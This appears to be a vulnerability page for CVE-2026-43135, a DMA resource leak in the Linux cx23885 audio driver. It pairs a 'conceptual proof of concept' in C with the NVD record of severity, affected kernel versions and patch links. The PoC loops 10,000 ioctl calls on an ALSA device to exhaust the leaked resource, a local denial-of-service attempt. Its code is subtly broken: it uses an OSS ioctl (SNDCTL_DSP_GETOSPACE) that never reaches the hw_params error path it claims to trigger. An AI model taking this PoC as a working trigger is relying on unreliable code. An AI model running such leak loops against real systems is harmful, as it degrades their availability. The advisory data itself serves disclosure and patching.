CVE-2026-43135

/* * Conceptual Proof of Concept for CVE-2026-43135 * This code attempts to trigger the DMA leak in cx23885 driver. * Requires a vulnerable system with specific hardware. */ #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/soundcard.h> int main() { int fd; // Open the audio device associated with cx23885 // Device node may vary (e.g., /dev/snd/pcmC0D0p) fd = open("/dev/snd/pcmC0D0p", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } // Loop to trigger the resource leak for (int i = 0; i < 10000; i++) { // Attempt to set hardware parameters with invalid values // to force the error path in snd_cx23885_hw_params // This is a simplified representation; actual triggering // may require specific audio format configurations. struct audio_buf_info abinfo; // A dummy ioctl call that might fail or trigger the path // In a real scenario, specific ioctl commands like SNDRV_PCM_IOCTL_HW_PARAMS // would be crafted to fail inside the driver. if (ioctl(fd, SNDCTL_DSP_GETOSPACE, &abinfo) < 0) { // Expecting failures to trigger the leak path } } close(fd); return 0; }

{"cve": {"id": "CVE-2026-43135", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:30.747", "lastModified": "2026-05-12T21:11:19.143", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: cx23885: Add missing unmap in snd_cx23885_hw_params()\n\nIn error path, add cx23885_alsa_dma_unmap() to release the\nresource acquired by cx23885_alsa_dma_map()."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.18", "versionEndExcluding": "5.10.252", "matchCriteriaId": "84E6C840-09B8-4381-8C73-31E14F879CCE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.202", "matchCriteriaId": "4002FC2B-1456-4666-B240-0EBF590C4671"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.165", "matchCriteriaId": "797C7F46-D0BE-4FB8-A502-C5EF8E6B6654"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0b7f56084cc3d7766bf274b71cd14cc9674b76bf", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/141c81849fab2ad4d6e3fdaff7cbaa873e8b5eb2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/505630dd1ebf4b53d3f2866c057ddd93157a24d8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/544215cc37d032ccaf1919852c05e2439a4d7540", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9544b73cad4ee667fed6a60f71570c58a870a735", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9c0a6ff538660c36a98081916a24f08d55a91331", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fc4df593a8ffded2f77d69a73ecb51d364932ca5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fda46c9025b755ea50a969b960f333be62421b71", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}